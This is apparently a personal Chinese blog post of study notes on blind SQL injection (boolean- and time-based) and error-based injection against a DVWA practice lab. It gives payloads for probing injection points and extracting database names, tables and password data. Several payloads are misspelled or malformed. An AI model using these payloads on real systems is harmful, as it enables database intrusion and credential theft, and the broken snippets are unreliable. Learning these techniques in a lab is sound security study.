SQL注入(二)

盲注:用户提交的数据在后台数据库中执行之后,没有返回任何数据,无法在前端显示测试出的数据,需要使用盲注技术
    基于bool的盲注
    基于时间的盲注
 
基于布尔的盲注
step1:探测输入点,'/'and 1=1%23 /1' and '1'='1 /~~~~~~~~
注意:用户提交的数据被带入后台数据库中执行,根据页面显示效果判断此处是否存在注入点
step2:收集数据库信息(当前用户名、当前数据库、版本、所有数据库等等)
?id=10'and length(uer())=14%23,用户名长度是14
?id=10'
asscii(substr(user(),1,1))=114%23
用户名首字符是r,后续依次去判断
security
 
step3:查询当前数据库中表
asscii(substr((select distinct table_name from information_schema.columns  where table_schema = database() limit 0,1),1,1))=114
先计算某个表的名字的长度,然后再判断每个字符,最终找到有价值的表:users
step4:获取执行表的字段名
step5:获取指定字段的数据
step6:解密密文数据,登录后台
 
基于时间的盲注:
时间的概念:使用特定的函数让数据库去执行,在页面等待一定的时间,来查看当前页面的注入情况
函数:sleep()
select * from dvwa.users where user_id =1 and if(lengh(user())=14,sleep(5),'bye');最终没有返回值,需要关注的是浏览器的响应时间
    benchmark(参数1,参数2),参数1表示执行多少次,参数2是某项操作,使用函数或者表达式。
select benchmark(100000000,1000*1000);
操作步骤:
step1:找注入点,1'and sleep(5)%23,~~~
step2:获取数据库信息
step3:获取表信息
select * from dvwa.users where user_id =1 and if(lengh(database())=4,benchmark(10000,1000*1000),'bye');获取每个字符
select * from  dvwa.users  where  user_id =1 and if(ord(ascii(substring(database(),1,1))=114,sleep(5),'bye');
mid((select distinct table_schema from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 sleep(5),'bye')
找有价值的表,users
step4:获取指定表中的字段
select * from  dvwa.users  where  user_id =1 and if(ord(ascii(substring(database(),1,1))=114,sleep(5),'bye');
mid((select distinct column_name from information_schema.tables where table_schema=database()and table_name = 0x7573657273 limit 0,1),1,1))=102 sleep(5),'bye')
找有意义的字段,username password
step5:获取内容
select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from users limit 0,1),1,1))=102,sleep(5),'bye')
step6:破解密码
 
基于报错的注入
报错的含义:利用一些报错的函数构造的payload,数据库执行之后会报错,并将我们需要的数据带出来,达到我们攻击的目的
报错函数:
    1.extractvalue(参数1,参数2)从目标xml中返回查询到的字符串,参数1是string格式的xm文档名,参数2是xpath格式的字符串(需要查询的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
2.updatexml(参数1,参数2,参数3),改变xml文档中符合条件的节点的值,参数1是xml文档,参数2是xpath格式字符串,参数3是string格式的替换查找符合条件的数据
select updatexml(1,(select user(),3));
3.float()函数,必须和conut()计数,rand()产生0-1之间的随机小数,如果给了参数(种子),那么会根据该种子产生固定的值
posted @ 2019-10-30 21:33  默忆  阅读(165)  评论(0编辑  收藏  举报